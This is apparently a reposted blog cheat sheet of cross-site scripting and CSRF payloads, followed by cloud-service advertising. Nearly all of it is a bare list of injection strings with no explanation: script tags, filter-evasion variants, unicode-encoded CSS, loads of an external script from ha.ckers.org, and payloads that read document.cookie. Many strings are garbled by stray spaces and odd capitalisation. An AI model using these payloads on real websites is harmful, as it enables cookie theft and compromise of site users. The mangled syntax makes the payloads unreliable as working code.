Here you find my custom XSS and CSRF cheat sheet. I know that there are running good cheat sheets out there, but since some of them are offline from time to time, I decided to create a little collection of useful XSS stuff. I added some stuff from other well known cheat sheets (e.g. from http://ha.ckers.org/xss.html), please scroll down to see a complete list of sources.
There XSS codes can be used to test your own website for XSS/CSRF vulnerabilities. some of them even can be used to bypass various XSS/CSRF filters. I did not include any details or explanations since I assume you are experienced with this type of vulnerability and know what you are doing.
"> <Iframe src = http://www.google.de>
'; Alert (String. fromCharCode (88,83, 83) // \ '; alert (String. fromCharCode (88,83, 83) // "; alert (String. fromCharCode (88,83, 83) // \ "; alert (String. fromCharCode (88,83, 83) // --> </SCRIPT> "> '> <SCRIPT> alert (String. fromCharCode (88,83, 83) </SCRIPT>
'';! -- "<XSS >= &{()}
<Script src = http://ha.ckers.org/xss.js> </SCRIPT>
<SCRIPT> alert (" XSS ") </SCRIPT>">
<SCRIPT/xss src = "http://ha.ckers.org/xss.js"> </SCRIPT>
<BODY onload! # $ % &()*~ + -_.,:;? @ [/| \] ^ '= Alert ("XSS")>
<SCRIPT/SRC = "http://ha.ckers.org/xss.js"> </SCRIPT>
<SCRIPT> alert ("XSS"); // </SCRIPT>
<SCRIPT> alert (/XSS/. source) </SCRIPT>
\ "; Alert ('xss'); // www.2cto.com
</TITLE> <SCRIPT> alert ("XSS"); </SCRIPT>
<Input type = "IMAGE" SRC = "javascript: alert ('xsss');">
<Body background = "javascript: alert ('xss')">
<Body onload = alert ('xss')>
<Link rel = "stylesheet" HREF = "javascript: alert ('xsss');">
<Div style = "background-image: \ 0075 \ 0072 \ 006C \ 0028 '\ 006a \ 0061 \ 0076 \ 0061 \ 0073 \ 0063 \ 0072 \ 0069 \ 0070 \ 0074 \ 003a \ 0061 \ 006c \ 0065 \ 0072 \ 0074 \ 0028 \ 0027 \ 0058 \ 0053 \ 0053 \ 0027 \ 0029 '\ 0029 ">
<SCRIPT a = ">" SRC = "http://ha.ckers.org/xss.js"> </SCRIPT>
<SCRIPT = ">" SRC = "http://ha.ckers.org/xss.js"> </SCRIPT>
<SCRIPT a = ">" ''src = "http://ha.ckers.org/xss.js"> </SCRIPT>
<SCRIPT "a = '>'" SRC = "http://ha.ckers.org/xss.js"> </SCRIPT>
"> <Script> alert (document. cookie) </script>
% 253 cscript % 253 ealert (document. cookie) % 253c/script % 253e
'; Alert (document. cookie); var foo ='
Sources
[1] http://ha.ckers.org/xss.html
[2] http://anautonomouszone.com/blog/xss-cheat-sheet
This article comes from the dedicated waiting blog
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
